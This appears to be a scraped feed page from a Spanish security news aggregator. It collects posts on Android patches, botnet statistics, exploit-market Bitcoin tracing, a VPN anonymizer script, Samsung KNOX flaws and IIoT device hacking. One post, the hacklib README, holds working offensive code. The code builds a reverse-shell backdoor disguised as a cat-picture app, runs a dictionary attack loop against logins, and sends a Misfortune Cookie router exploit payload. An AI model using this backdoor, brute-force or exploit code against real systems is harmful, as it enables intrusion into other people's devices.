Quantcast
Channel: Hacking Land :: Hack, Crack and Pentest
Viewing all 1954 articles
Browse latest View live

Google soluciona 78 vulnerabilidades en Android

$
0
0
Google ha publicadoel boletín de seguridad Androidcorrespondiente al mes de octubre en el que corrige un total de 78 vulnerabilidades.

Google divide las vulnerabilidades corregidas en dos bloques principales en función de los componentes afectados. En el nivel de parches de seguridad 2016-10-01 ("2016-10-01 security patch level") se encuentran los que afectan al núcleo de servicios Android, controladores y componentes que todos los fabricantes de smartphones Android deberían incluir con mayor prioridad.

En este bloque se solucionan 20 vulnerabilidades, 15 de ellas de gravedad alta y otras cinco de importancia moderada. El problema más frecuente es la elevación de privilegios a través de diferentes componentes, como ServiceManager, Lock Settings Service, Mediaserver, proceso Zygote, APIs framework, Telephony, el servicio de Camara o el acceso por huella dactilar.

Por otra en el nivel de parches de seguridad 2016-10-05 ("2016-10-05 security patch level") se incluyen vulnerabilidades en controladores y componentes incluidos solo por algunos fabricantes en sus versiones de Android. En este bloque se solucionan 58 fallos en subsistemas del kernel, controladores y componentes OEM. 15 de las vulnerabilidades están consideradas críticas, 25 de gravedad alta, 17 de riesgo medio y una de nivel bajo. Cabe destacar que los componentes Qualcomm, seguido de NVIDIA, son los más afectados.

Las vulnerabilidades críticas incluyen la ejecución remota de código en el decodificador ASN.1 del kernel y en el subsistema de red del kernel, elevación de privilegios a través del controlador de vídeo MediaTek y del controlador de memoria compartida del kernel, así como 11 vulnerabilidades en componentes Qualcomm.

A pesar de las actualizaciones de Google para Android, estas solo llegan puntualmente a los dispositivos Nexus. Actualmente cabe señalar que otros fabricantes como Samsung también están aplicando las actualizaciones con periodicidad. Pero lamentablemente esto no ocurre con todos los fabricantes, por lo que las actualizaciones siguen siendo uno de los puntos débiles de Android.

Más información:

Android Security Bulletin—October 2016





Antonio Ropero
Twitter: @aropero



Via:unaaldia.hispasec.com

¿Cuáles son las ciudades de EMEA con mayor número de bots?

$
0
0
Si habéis observado con detenimiento mapas de ciberataques en tiempo real os habréis fijado que el origen de los ataques, sobretodo DDoS y envío de spam, se concentra especialmente en algunas zonas. Es decir, las grandes botnets tienen bajo su poder un mayor número de dispositivos en unas ciudades que en otras. ¿Por qué? Pues normalmente porque se trata de mercados y ciudades que han tenido recientemente un aumento exponencial de  dispositivos conectados (IoT) a Internet y accesos de alta velocidad, pero cuya conciencia en la seguridad se ha estancado o, al menos, no ha acompañado dicho crecimiento.

Al hilo de ésto, Symantec ha publicado un interesante estudio en el que se muestran los países y las ciudades con mayor número de bots de la zona EMEA (ya sabéis, Europa, Oriente Medio y África), con Turquía y Ankara con el dudoso de honor de estar en el top 1.
También interesante, incluso quizás más, es otro top 10 de países con la clasificación por número de bots por habitante, es decir, la densidad o la proporción de infecciones de bots en comparación con población conectada a Internet del país. En este caso destacan los usuarios húngaros que tienen 1 posibilidad entre 393 de que su dispositivo sea infectado o los monegascos con 1 posibilidad entre 457.

Podéis ver el mapa con el top 10 en la siguiente URL (hay una errata en la posición 8 Madrid, Italy', sres. de Norton):

http://uk.norton.com/emeabots



Ni que decir tiene que el lugar donde residen los bots no tiene nada que ver con el lugar desde donde se controlan. "Las redes de bots son de naturaleza global y un dispositivo infectado en Europa podría contribuir a un ataque en Asia, controlado por un cibercriminal en América del Norte. Probablemente tendríamos bots que atacan desde la Antártida si hubiera allí más ancho de banda", dice Paul Wood , jefe de investigación de ciberseguridad de Symantec.

Fuente: These ten cities are home to the biggest botnets

Via:www.hackplayers.com

Cómo rastrear la compraventa de exploits pagados con Bitcoins #Bitcoin #Litecoin #DarkWeb #exploits

$
0
0
Las criptodivisas están evolucionando como un medio de pago cada vez más utilizado en la red. La falta de control de éstas y su descentralización no ha pasado desapercibida para los delincuentes que han visto en ellas el vehículo perfecto para monetizar sus negocios y canalizar de una forma mucho más compleja de rastrear las operaciones realizadas.

Figura 1: Cómo rastrear la compraventa de exploits pagados con Bitcoins

Esta funcionalidad ha abierto las puertas a la reciente oleada de ataques de ransomware que piden Bitcoins como rescate, o a la ya poco novedosa aparición de plataformas destinadas a la compra-venta de artículos no regulados. Este tipo de aproximación es, por ejemplo, la utilizada por los usuarios de TheRealDeal, uno de los sitios de la red TOR en donde más bases de datos filtradas se han estado exponiendo recientemente.

Utilización de criptodivisas en la compra de exploits: 0day.today

Un mal uso del concepto también puede arrojar más pistas de las necesarias sobre la verdadera identidad de un comprador. Por poner un ejemplo, 0day.today es un sitio web orientado a la compraventa de exploits en la red. Entre los métodos de pago aceptados por la plataforma se encuentra Bitcoin, Litecoin o Dogecoin así como muchos otros métodos de pago convencionales como VISA, Perfect Money, Webmoney o Western Union.

Figura 2: Métodos de pago aceptados por 0day.today para la compra de exploits

Desde el punto de vista de un investigador, conseguir establecer una relación sólida entre una dirección de Bitcoin y un perfil de una red social o de un foro es un elemento de conexión con el mundo físico que puede ser utilizado para enganchar elementos que podrían parecer inconexos. En el transcurso de una investigación, contar con acceso a un monedero (incluso para aquellos que están cifrados y que no se podrían incautar) puede ser suficiente para relacionar a dos personas a partir de las operaciones realizadas entre sus cuentas.

Todas las transacciones realizadas traducen el dinero transferido en 1337day Gold, un token que representa 1 USD y que se puede utilizar dentro de la plataforma para comprar nuevos exploits o para contratar servicios dentro del mismo. El sitio web, que comparte el mismo diseño con otras plataformas orientadas a la filtración de bases de datos, también puede ser accedido a través de un Hidden Service de la TOR. A través de ella, sus usuarios pueden ofrecer exploits locales y remotos de forma gratuita así como ofrecerlos de forma privada a cambio de cantidades de Gold que van desde unas pocas decenas hasta varios miles y realizar el crackeo de passwords.

Figura 3: Vista principal de los exploits ofertados en el sitio web

La plataforma ofrece la posibilidad de contratar sus servicios utilizando diversas criptodivisas entre las que se encuentran Bitcoin, Litecoin o Dogecoin. El hecho de que aparezcan estas criptodivisas es de por sí natural en plataformas de un perfil más underground, pero no tanto el método utilizado por el gestor del mercado para recibir los pagos dado que facilita una única dirección de pago desde la que los centraliza.

Figura 4: Direcciones de Bitcoin y Litecoin anunciadas en 0day.today para adquirir 1337day Gold en la plataforma

La información monetaria que podemos extraer en este sentido puede parecer que no es demasiado importante teniendo en cuenta que el propio administrador expone otra información de contacto más significativa, pero el hecho de que conozcamos la dirección a la que se insta a los compradores a realizar los pagos nos permite rastrear las transacciones mínimamente.

Figura 5: Balance actual de la dirección 1AWqYR4CCP5j9GEqMNk8b3ZNPPfG5Jniu1 asociada a 0day.today

El número de operaciones efectuadas por la dirección de Bitcoin mostrada en la imagen superan las 345, habiéndose enviado cantidades que superan los 500.000 Dólaresal cambio actual. Esta cifra permite realizar una estimación del volumen de negocio del servicio, al menos, del realizado empleando Bitcoins. Por su parte, en el caso de la dirección de Litecoin no hay constancia de ninguna transferencia en la cadena de bloques.

Figura 6: El valor del Bitcoin supera los 600 USD

El negocio de los administradores pasa por el cobro de comisiones a la hora de la retirada del 1337day Gold. La comisión actual está fijada en el 10% del Gold a retirar, siendo el mínimo a retirar 2.000 unidades de la divisa (o 2.000 dólares al cambio) por lo que si consideramos como los únicos beneficios de los administradores la comisión cobrada de las retiradas en Bitcoin, estas ya ascenderían a 50.000 dólares, una cantidad todavía importante.

Las buenas prácticas de anonimización van por otro camino

En cualquier caso, entre los códigos de buenas prácticas fomentados por los propios desarrolladores de Bitcoin este tipo de prácticas está completamente desaconsejado desde el punto de vista la privacidad. En primer lugar, porque la reutilización de las direcciones es innecesaria desde el punto de vista técnico ya que la creación de nuevas direcciones es un problema trivial para cualquier cliente de Bitcoin.

Figura 7: Recomendación de crear una nueva dirección para cada pago

Imaginemos un caso en el que Alicia, que tiene 10 Bitcoins, le quiere comprar a Borja un exploit por valor de 4 Bitcoins. Si realizara el pago de 4 Bitcoins y reenviara el resto a su propia dirección, un observador tendría pistas sobre que solamente han sido 4 Bitcoins los que han cambiado de mano. En cambio, si enviara los 6 restantes a una nueva dirección (una nueva dirección de cambio bajo su control) un tercero que estuviera observando la cadena de bloques no sabría si son 6 o 4 Bitcoins los que el pagador ha abonado.

Asimismo, el hecho de facilitar una única dirección de Bitcoin para realizar los pagos tiene otra consecuencia para pagador y receptor: les obliga a ponerse de acuerdo por otra vía sobre los detalles de la transacción enviada. Es decir, quien paga deberá informar al administrador sobre qué transacción es la suya, una circunstancia que no sería necesaria si a cada operación se le facilita una dirección nueva para llevar la cuenta de las operaciones realizadas.

Entonces, ¿por qué lo hacen?

Uno de los motivos que puede estar detrás de esta práctica es precisamente usar las transacciones para avalar la seriedad del sitio ante potenciales interesados que consulten el saldo en la cadena de bloques. El hecho de poder comprobar que otros ya han efectuado pagos puede dar una (relativa) tranquilidad adicional a los compradores. En cualquier caso, la práctica no deja de ser poco recomendable. Si quieres saber más sobre los Bitcoins, puedes ver nuestra charla de la RootedCON "How I met your e-Wallet (Bitcoins)".


Figura 8: How I met your e-Wallet (Bitcoins)

Veremos si en el futuro otras criptodivisas como Monero, que pone el foco más en la privacidad del usuario que el propio Bitcoin y que parece que ha experimentado un repunte últimamente asociada a prácticas de ransomware se unen a la moda. Mientras tanto, para los investigadores esto no deja de ser un quebradero de cabeza adicional.

Autores: Félix Brezo y Yaiza Rubio, analistas de seguridad en ElevenPaths
Puedes encontrarnos en la Comunidad de ElevenPaths.

Via:www.elladodelmal.com

4nonimizer, un script para anonimizar tu IP que soporta múltiples VPNs

$
0
0
Hace unas semanas publicamos una entrada con un tutorial para enmascarar y loggear nuestra IP pública (VPN/TOR) desde el inicio en Linux, utilizando varios scripts que levantaban TOR y usaban el servicio VPN gratuito de VPNBook.

A partir de ahí, decidimos crear una herramienta que permitiera el uso de más proveedores VPN, incluso de pago, y el resultado es... 4nonimizer, que ya podéis encontrar disponible en nuestro Github.

Esperamos que os guste la herramienta y os sea de utilidad y, como siempre, os animamos a remitirnos cualquier bug o comentario sobre su uso :)
 

¿Que es 4nonimizer?

Es un script en bash cuyo objetivo es anonimizar (de momento) la IP pública con la que salimos a Internet mediante la gestión del proceso de conexión a TOR y a distintos proveedores VPNs (OpenVPN), ya sean gratuitos o de pago. Por defecto incluye preconfiguradas varias VPN gratuitas automatizando la conexión a distintos peers y la descarga de credenciales correspondientes. Además por defecto registra en ficheros logs la IP que usamos cada 300 segundos.
Este script se habilita como servicio en sistemas systemd y levanta la vpn por defecto (VPNBook) en el inicio del sistema.

Instalación

Descargar el repositorio mediante git , ejecutar la instruccion ./4nonimizer install dentro del directorio, y seguir las intrucciones por pantalla, 4nonimizer se moverá al directorio /opt/ y se instalará como servicio.
Este script tiene compatibilidad completa con Kali Linux, aunque ha sido probado y debería funcionar correctamente también en otras distribuciones como Debian, Ubuntu y Arch (Manjaro). No obstante podrían darse algunos bugs, o funcionamientos inesperados (¡por favor, comenta si encuentras alguno!).

Opciones

Una vez instalado 4nonimizer, introduce el comando 4nonimizer help para obtener la ayuda, la cual nos muestra todos los parámetros disponibles:

Alt text

VPNs disponibles

Actualmente se soportan los siguientes proveedores VPN:
- HideMyAss https://www.hidemyass.com/
- TorGuard https://torguard.net/
- VPNBook (por defecto) http://www.vpnbook.com/
- VPNGate http://www.vpngate.net/en/
- VPNMe https://www.vpnme.me/
- VPNKeys https://www.vpnkeys.com/

Instalar una nueva VPN

Para poder instalar una vpn adicional tendremos que tener en cuenta la siguiente estructura para que 4nonimizer la integre en el script y pueda realizar operaciones con ella.
Lo primero, deberemos de crear la siguiente estructura en la carpeta /vpn/ dentro de la ruta de 4nonimizer:

Alt text

En nuestro ejemplo creamos la carpeta /vpntest/ y dentro de ella colocamos todos los .ovpn que dispongamos. En caso de que los ficheros ovpn no tuvieran el certificado dentro de cada uno de ellos lo deberemos poner en la misma carpeta como se muestra en el ejemplo certificate.crt.
Además de todo ésto deberemos de colocar un fichero llamado pass.txt que contenga 2 líneas: en la primera el usuario y en la segunda la contraseña, como se muestra a continuación:

Alt text

Si hemos realizado correctamente todos los pasos cuando escribamos el comando 4nonimizer change_provider nos deberá de mostrar nuestra vpn :

Alt text

Como se puede apreciar en la imagen la opcion [7] es la vpn que hemos creado.

Automatización de la obtención de credenciales y ficheros ovpn

Si el proveedor correspondiente permite la automatización de la obtención de credenciales y/o ficheros .ovpn, 4nonimizer tiene normalizado que los scripts correspondientes tengan la ubicación y nombres siguientes:

- /opt/4nonimizer/vpn/provider/vpn-get-pass.sh

Alt text

- /opt/4nonimizer/vpn/provider/vpn-get-ovpn.sh

Alt text

4nonimizer automáticamente detectará la presencia de ambos scripts e indicará (Auto-pass Login) o (Auto-get OVPN) si procede.

Alt text

Extras

- Ejecuta 'source 4nonimizer' para habilitar el autocompletado de parámetros.

Versiones

- 1.0-beta codename .bye-world! 5/10/2016

GitHub: https://github.com/Hackplayers/4nonimizer

¡4nonimiza el mundo!
Via:www.hackplayers.com

hacklib - Pentesting, Port Scanning, and Logging in anywhere with Python

$
0
0

Toolkit for hacking enthusiasts using Python.
hacklib is a Python module for hacking enthusiasts interested in network security. It is currently in active development.

Installation
To get hacklib, simply run in command line:
pip install hacklib
hacklib also has a user interface. To use it, you can do one of the following:
Download hacklib.py and run in console:
python hacklib.py
----------------------------------------------
Hey. What can I do you for?


Enter the number corresponding to your choice.

1) Connect to a proxy
2) Target an IP or URL
3) Lan Scan
4) Create Backdoor
5) Server
6) Exit
Or if you got it using pip:
import hacklib
hacklib.userInterface()

Dependencies
Not all classes have external dependencies, but just in case you can do the following:
hacklib.installDependencies()

Usage Examples
Reverse shell backdooring (Currently only for Macs):
import hacklib

bd = hacklib.Backdoor()
# Generates an app that, when ran, drops a persistent reverse shell into the system.
bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures')
# Takes the IP and port of the command server, the OS of the target, and the name of the .app
Generated App:
Listen for connections with Server:
>>> import hacklib
>>> s = hacklib.Server(9090) # Bind server to port 9090
>>> s.listen()
New connection ('127.0.0.1', 50011) # Target ran the app (connection retried every 60 seconds)
bash: no job control in this shell
bash$ whoami # Type a command
leon
bash$ # Nice!


Universal login client for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication logins:
import hacklib

ac = hacklib.AuthClient()
# Logging into a gmail account
htmldata = ac.login('https://gmail.com', 'email', 'password')

# Check for a string in the resulting page
if 'Inbox' in htmldata: print 'Login Success.'
else: print 'Login Failed.'

# For logins using HTTP Basic Auth:
try:
htmldata = ac.login('http://somewebsite.com', 'admin', 'password')
except: pass #login failed
Simple dictionary attack using AuthClient:
import hacklib

ac = hacklib.AuthClient()
# Get the top 100 most common passwords
passwords = hacklib.topPasswords(100)

for p in passwords:
htmldata = ac.login('http://yourwebsite.com/login', 'admin', p)
if htmldata and 'welcome' in htmldata.lower():
print 'Password is', p
break


Port Scanning:
from hacklib import *

ps = PortScanner()
ps.scan(getIP('yourwebsite.com'))
# By default scans the first 1024 ports. Use ps.scan(IP, port_range=(n1, n2), timeout=i) to change default

# After a scan, open ports are saved within ps for reference
if ps.portOpen(80):
# Establish a TCP stream and sends a message
send(getIP('yourwebsite.com'), 80, message='GET HTTP/1.1 \r\n')
Misfortune Cookie Exploit (CVE-2014-9222) using PortScanner:
>>> import hacklib

# Discovery
>>> ps = hacklib.PortScanner()
>>> ps.scan('192.168.1.1', (80, 81))
Port 80:
HTTP/1.1 200
Content-Type: text/html
Transfer-Encoding: chunked
Server: RomPager/4.07 UPnP/1.0
EXT:
# The banner for port 80 shows us that the server uses RomPager 4.07. This version is exploitable.

# Exploitation
>>> payload = '''GET /HTTP/1.1
Host: 192.168.1.1
User-Agent: googlebot
Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Cookie: C107351277=BBBBBBBBBBBBBBBBBBBB\x00''' + '\r\n\r\n'
>>> hacklib.send('192.168.1.1', 80, payload)
# The cookie replaced the firmware's memory allocation for web authentication with a null bye.
# The router's admin page is now fully accessible from any web browser.


FTP authentication:
import hacklib
ftp = hacklib.FTPAuth('127.0.0.1', 21)
try:
ftp.login('username', 'password')
except:
print 'Login failed.'


Socks4/5 proxy scraping and tunneling
>>> import hacklib
>>> import urllib2
>>> proxylist = hacklib.getProxies() # scrape recently added socks proxies from the internet
>>> proxy = hacklib.Proxy()
>>> proxy.connect(proxylist) # automatically find and connect to a working proxy in proxylist
>>> proxy.IP
u'41.203.214.58'
>>> proxy.port
65000
>>> proxy.country
u'KE'
# All Python network activity across all modules are routed through the proxy:
>>> urllib2.urlopen('http://icanhazip.com/').read()
'41.203.214.58\n'
# Notes: Only network activity via Python are masked by the proxy.
# Network activity on other programs such as your webbrowser remain unmasked.
# To filter proxies by country and type:
# proxylist = hacklib.getProxies(country_filter = ('RU', 'CA', 'SE'), proxy_type='Socks5')


Word Mangling:
from hacklib import *

word = Mangle("Test", 0, 10, 1990, 2016)

word.Leet()
word.Numbers()
word.Years()
Output:
T3$t
Test0
0Test
...snip...
Test10
10Test
Test1990
1990Test
...snip...
Test2016
2016Test


Pattern Create:
from hacklib import *

Pattern = PatternCreate(100)

Pattern.generate()
Output:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A


Pattern Offset:
from hacklib import *

Offset = PatternOffset("6Ab7")

Offset.find()
Output:
[+] Offset: 50



Via:www.kitploit.com

Anunciadas vulnerabilidades que permiten tomar el control de móviles Samsung

$
0
0
Investigadores de la compañía israelí Viral Security Group han anunciado un grupo de tres vulnerabilidades en el sistema Knox de Samsung que podrían permitir a un atacante tomar el control total de smartphones Galaxy S6 y Note 5.

En esta ocasión las vulnerabilidades han quedado bautizadas bajo el nombre de KNOXout. Aunque con un CVE único (CVE-2016-6584) se engloban las tres vulnerabilidades descubiertas en Samsung KNOX. Todas pueden permitir la escalada de privilegios y fueron reportadas a la firma de forma responsable.

Samsung KNOX es el nombre empleado por Samsung para ofrecer una colección de características de seguridad implementadas en sus dispositivos Android. Algunos de los módulos son de cara al usuario (como la aplicación My KNOX), mientras que otros realizan su función en segundo plano.

Es en uno de los módulos en segundo plano donde los investigadores han encontrado los problemas. Concretamente en el TIMA RKP (Real-time Kernel Protection), responsable de la defensa del sistema en caso de un exploit exitoso del kernel.

Los investigadores han publicado un completo documentoen el que explican como un exploit estándar para conseguir root ataca el kernel y explora los mecanismos de protección del módulo RKP que protege ante este tipo de exploits. Tras ello evitan las protecciones y consiguen ejecutar código con permisos del sistema. Un acceso a la cuenta del sistema permite al atacante tomar el control del dispositivo y realizar cualquier acción sin conocimiento del usuario.

El equipo de Viral Security Group profundiza en el módulo RKP, para identificar las pruebas específicas realizadas para evitar la escalada de privilegios. Y aprovechan este conocimiento para evitar el módulo RKP y conseguir privilegios de root. Además, desactivan las protecciones adicionales del kernel y consiguen cargar un módulo kernel personalizado, sin firmar, con el fin de volver a montar la partición /system con permisos de escritura.

Como prerequisite para atacar el módulo RKP es necesario una vulnerabilidad "write-what-where" del kernel (una vulnerabilidad que puede permitir escribir un valor arbitrario en cualquier dirección). Para ello se puede emplear cualquier vulnerabilidad, pero los investigadores han empleado la vulnerabilidad CVE-2015-1805, explotable en algunos de los más nuevos dispositivos Samsung (como los Galaxy S6 y Galaxy Note 5), y cuenta con un exploit open-source implementado conocido como iovyroot2.

                           https://www.youtube.com/watch?v=xAN5zUWxLqE

Más información:

KNOXout (CVE-2016-6584) - Bypassing Samsung KNOX

Download Whitepaper

Proof-of-Concept Repository

Samsung KNOX

CVE-2015-1805 root tool (iovyroot)



Antonio Ropero
Twitter: @aropero

Via:unaaldia.hispasec.com

Hacking de dispositivos IIOT (Industrial Internet of Things) #IIoT #IoT #Hacking

$
0
0
Durante este mes de septiembre, se han celebrado al edición de la RootedCON Valencia, y la 6ª edición de Navaja Negra , en las cuales se me invitó a presentar una serie de investigaciones y ataques sobre dispositivos y equipos industriales, además de algún dispositivo IIOT, - no se incluyeron accesos a infraestructuras críticas, por posibles temas legales - se presentaron accesos a dispositivos críticos de un amplio abanico del sector industrial, con un titulo de la presentación, el cual daba que pensar, “¿A que piso va?

Figura 1: Hacking de dispositivos IIoT (Industrial Internet of Things)

¿Qué objetivos buscamos?, básicamente se intenta demostrar, la mayoría de las veces con éxito, que existen infinidad de dispositivos vulnerables en cualquiera de nuestras industrias, rastreando varios sectores, como la generación y distribución de energía eléctrica, fotovoltaica, gas, agua, aerogeneradores, sistemas integrales de climatización, y un gran “cajón desastre”de dispositivos IIoT. Por aquí, en este mismo blog, ya se han hablado de muchos casos similares, así que para completar este artículo, puedes leer las historias de:
- PLCs de Allen Bradley envían la password de Adminsitración
- Ataque de fuerza bruta a PLC Omron CJ2H CPU64-EIP
- Captura de claves en PLCs industriales CP1L-EM de Omron
- Tu industria en mis manos
- SCADA: Halcones heridos en tus Infraestructuras Críticas
- Otra de passwords por defecto en Honeywell WebStat (Niagara Web Server)
- Concentradores de Telegestión de Contadores PLC de Telecon integran Latch
- Shodan y sistemas SCADA
- Intentan envenenar agua de un planta depuradora en UK
- La historia del carnicero agradecido
- Unidad de (des)cuidados intensivos 
En esta investigación, siguiendo pasos similares, vamos a ver ejemplos varios:
• Maquinaria industrial (metalurgia, alimentación, servicios auxiliares, etc...
• Energía (plantas foto-voltaicas, plantas generación eléctrica, estaciones bombeo).
• Aerogeneradores.• Sistemas integrales de climatización(edificios e industrias).
• Smartmeters (IIOT- contadores eléctricos).
• Varios( sistemas riego y alumbrado grandes ciudades, frío industrial.
Una vez focalizados los objetivos de estudio y análisis, se centran todos los esfuerzos en una serie de fabricantes concretos, debido a dos factores: experiencia en el sector industrial, y conocimiento más profundo de alguno de ellos. Los tests se realizan sin utilizar ataques de fuerza bruta, siempre con accesos directos abiertos y mediante credenciales por defecto. Se trabaja sobre dos grandes grupos de dispositivos, los controlados directamente por CPU, y los administrados por servidores web propios (generalmente GNU/Linux y versiones de Apache 1.3, o 1.4 sin fortificar - ¡gran error!-)

Figura 2: Algunos de los fabricantes principales catalogados para hacer la investigación

Durante el proceso, se detectaron una serie de vulnerabilidades en bastantes de los equipos y sistemas testeados, que aún existiendo mucha información de ellas con su correspondiente CVE publicado, el 85% de los sistemas IIoT localizados, no han sido actualizados desde el “inicio de los tiempos”. Existe un gran abismo temporal entre el fabricante, desarrollador e implantador final, que imposibilita aplicar de forma robusta políticas de ciberseguridad en muchas industrias, además de que la transición de la industria 3.0 a 4.0, es lenta y complicada por la heterogeneidad de cientos de dispositivos. Las vulnerabilidades localizadas en estos dispositivos IIoT han sido de diferentes tipos, como por ejemplo:
• Ejecución remota de código.
• Extracción arbitraria de ficheros.
• XSS en varios de los sistemas.
• Denegación de servicio.(alto porcentaje).
• Buffer overflow.
• Restricción incorrecta de operaciones de la pila.
• Inyección SQL en plataformas web(del sistema o equipo).
Una vez fijados los objetivos, tenemos dos opciones. La opción uno es hacer un poco de hacking con buscadores y utilizar Shodan o Censys para localizar los objetivos y obtener una cantidad ingente de resultados. La opción 2 consiste en filtrar la búsqueda con una herramienta a medida a fin de optimizar el resultado final.

Figura 3: Arquitectura de la herramienta creada.

Utilizando la interacción de varias herramientas como nmap o Metasploit, y la API de Shodan, se puede diseñar una pequeña herramienta escrita en Python alimentada previamente con datos de los objetivos buscados, tales como fabricantes, modelos, versiones, CPU, clock, ranuras de expansión, puertos específicos de cada fabricante, áreas de memoria, usuarios, passwords, directorios ocultos, etcétera, con el objetivo final de extraer los máximos datos posibles y minimizar falsos positivos.

Figura 4: Resultados obtenidos tras la fase de recogida de información.

Finalmente, una vez realizada la extracción y el posterior filtrado de datos,podemos iniciar el acceso a los diferentes dispositivos. Este acceso se realiza mediante el software (versión demo) de cada fabricante. Los accesos son ejecutados en formato remoto, y en modo monitor, a fin de no alterar el dispositivo auditado.

Estos son algunas de los dispositivos localizados con fallos de seguridad. El primero de ellos es el acceso a una estación de bombeo de agua.

Figura 5: El acceso está realizado mediante un enlace radio en la banda de 433 MHz.

El segundo ejemplo es el acceso a un PLC de una planta de distribución de gas. Además de permitir a un atacante modificar y actuar sobre cualquier elemento industrial, se puede extraer cierta información sensible, debido a que el dispositivo en cuestión puede enviar mensajes SMS, e-mail, se puede acceder a bases de datos (con cadenas de conexión autenticadas mediante usuario/password)  y recursos compartidos en una red MS Windows dentro de una arquitectura de Active Directory. Es decir, el atacante podría atacar la red Windows desde el PLC, haciendo bueno el concepto de Shadow IoT.

Figura 6: Acceso a PLC en planta de distribución de gas.

Acceso a un aerogenerador y a un sistema de cabecera de una planta fotovoltaica. Estos dispositivos disponen de servidor web propio integrado, con múltiples vulnerabilidades de funcionamiento y acceso, como usuarios y password por defecto, posibilidad de subida de scripts, configuración de un segundo servidor DNS, etcétera.

Figura 7: Funcionamiento del sistema de la turbina.

Figura 8: Acceso a sistema de cabecera de planta fotovoltaica.

Mediante el scriptTermineter, escrito en Pyhton por dos investigadores y publicado a finales del 2014, se demuestra como es posible con pocos medios y conocimientos técnicos, acceder a los smartmeters que tenemos instalados en nuestras viviendas, mostrando los datos del dispositivo y lecturas energéticas.

Figura 9: Ejecución de Termineter contra smartmeter local conectado vía serie.

Figura 10: Smartmeter al que se conecta y contra el que se lanza Termineter.

Conectando una Raspberry Pi y un pequeño script de lectura secuencial, es posible acceder a otros smartmeters conectados al mismo concentrador de la compañía - que no tenía Latch -. El acceso se realiza en modo “invitado”.

Figura 11: Lectura de varios Smartmeters conectados al mismo concentrador hecha vía remota mediante una Raspberry Pi.

Cabe destacar primero mi sorpresa a la infinidad de dispositivos vulnerables localizados y la facilidad y pocos conocimientos para acceder a ellos. Resulta chocante que sea posible acceder a sistemas tan curiosos como equipos de frío de tanatorios  - en uno de ellos incluso era posible ver los “clientes de la semana” debido a una vulnerabilidad en Mysql -, climatización de edificios públicos, sistemas automáticos de lavado de vehículos con posibilidad de limpieza “infinita”, paneles informativos de carreteras, etcétera, pero el mas preocupante a mi modo de ver es el sistema que da titulo a las charlas: Los ascensores

Figura 12: Acceso libre a un ascensor, al que es posible configurar sin seguridad.

Cantidad ingente de dispositivos vulnerables en nuestro país, con el agravante que transporta personas y vulnera su integridad física, y con los que es posible configurar, o interaccionar con el equipo hasta limites de desactivar cualquier seguridad existente.

Conclusiones finales:

En un tiempo en el que fortificamos parte de nuestra vida digital o nuestros sistemas habituales usando contraseñas, dobles factores de autenticación, cifrado de discos, smartphones protegidos, portátiles con antirrobo, tarjetas de claves, firewalls, conexiones VPN, etc..., hay ámbitos cotidianos a los que no le prestamos la atención suficiente en temas de seguridad, y hay que hacerlo, como decía el documento de Seguridad en IoT que publicaba ElevenPaths, el ámbito de uso de los dispositivos IoT, como es el caso de los dispositivos industriales, puede ser de una sensibilidad mayor.

Figura 13: El CNPIC actualmente informa a día de hoy que el riesgo de un incidente de seguridad es ALTO

Tal vez por que no tiene repercusión mediática o notoriedad el acceso a un dispositivo industrial IIoT, o simplemente porque los cibercriminales aprovechan estos fallos para hacer ataques muy dirigidos como el de la fábrica potabilizadora de agua en UK. Por otra parte parece que hay “luz al final del túnel”, porque organismos oficiales, como el Centro Nacional de Protección de Infraestructuras Críticas, están realizando un trabajo contrarreloj para mitigar y concienciar sobre el futuro de nuestros dispositivos y equipos industriales. ¡Hacedles caso que el nivel de riesgo actual es ALTO!

Autor: Jordi Ubach (@jubachm)

Via:www.elladodelmal.com

Ya están aquí #8dot8 de Chile y Bolivia!

$
0
0


Una vez más por estas fechas se celebra uno de los eventos en los que mejor me lo paso: Se trata de 8.8, el evento de seguridad más conocido en el sector de la seguridad de Chile. Este año será su sexta edición, en la que tendré el honor y el placer de participar, por cuarto año consecutivo.

Este año, al igual que en ediciones anteriores, el plantel de compañeros y temáticas a tratar tiene una pinta excelente. Hay charlas sobre (in)seguridad de smart cities, ATMs, biohacking, HTTP2, análissi forense,... Por mi parte iré con "Memorias de un Perito Informático Forense Vol. III" en la que hablaré de tres casos de peritaje que me tocó atender, obviamente con algo de salseo al buen amigo @Holesec (que se encontrará por allí :D). Este año, como representación española, estará con nosotros Eduardo Arriols, que precisamente será uno de los ponentes que den una charla sobre smart cities. Como siempre, un gran evento en el que conocer a nuevos compañeros y asistentes, así como una excusa para volver a reunirte con amigos como Holesec, Maxi SolerJaime Dragonjar y todos los componentes de la organización de uno de los eventos que, para mí, tiene un significado y valor especiales.




Desde Chile, nos daremos el salto unos cuantos a Bolivia, a la segunda edición del mismo evento, en la ciudad de La Paz, en la que también participé el año pasado. Exceptuando unos pocos ponentes, un alto porcentaje de las charlas serán las mismas que el evento con el mismo nombre en Santiago.  




Desde Security By Default, queremos regalar dos entradas para cada uno de los eventos. Para ello tendrás que dejarnos un comentario en este post indicándonos de la forma más creativa que se te ocurra el por qué quieres asistir al mismo. Recuerda indicarnos si quieres postular a una entrada para la edición de Bolivia o la de Chile! Necesitaremos que nos indiques tu twitter y/o tu correo electrónico para que la organización pueda contactarte.

Sólo aceptaremos un mensaje por persona y evento. El sorteo lo realizaremos 3 días antes del inicio de cada evento, por lo que no te esperes a última hora para participar o puede que no llegues.

Espero veros en Chile y en Bolivia una vez más!




Via:www.securitybydefault.com

Syhunt ScanTools - Console Web Vulnerability Scan Tools

$
0
0

Syhunt released the new generation of its console-based scan tools, simply called ScanTools. The first release of ScanTools comes with four console applications: - ScanURL,ScanCodeScanLog and ScanConf, incorporating the functionality of the scanners Syhunt Hybrid/Dynamic, Syhunt Code, Syhunt Insight and Syhunt Harden respectively. Whether you want to scan a live web application, source code files, web server logs or configuration files for vulnerabilities, weaknesses and more, ScanTools can help you start the task with a single line command. Syhunt ScanTools is available for download as a freeware portable package or as part of Syhunt Community.

Installation

Download Information

Syhunt ScanTools is included with the latest release of Syhunt. It is located in the installation directory of the suite.
Please note that the full-featured version of the tools is only available for registered users.

System Requirements


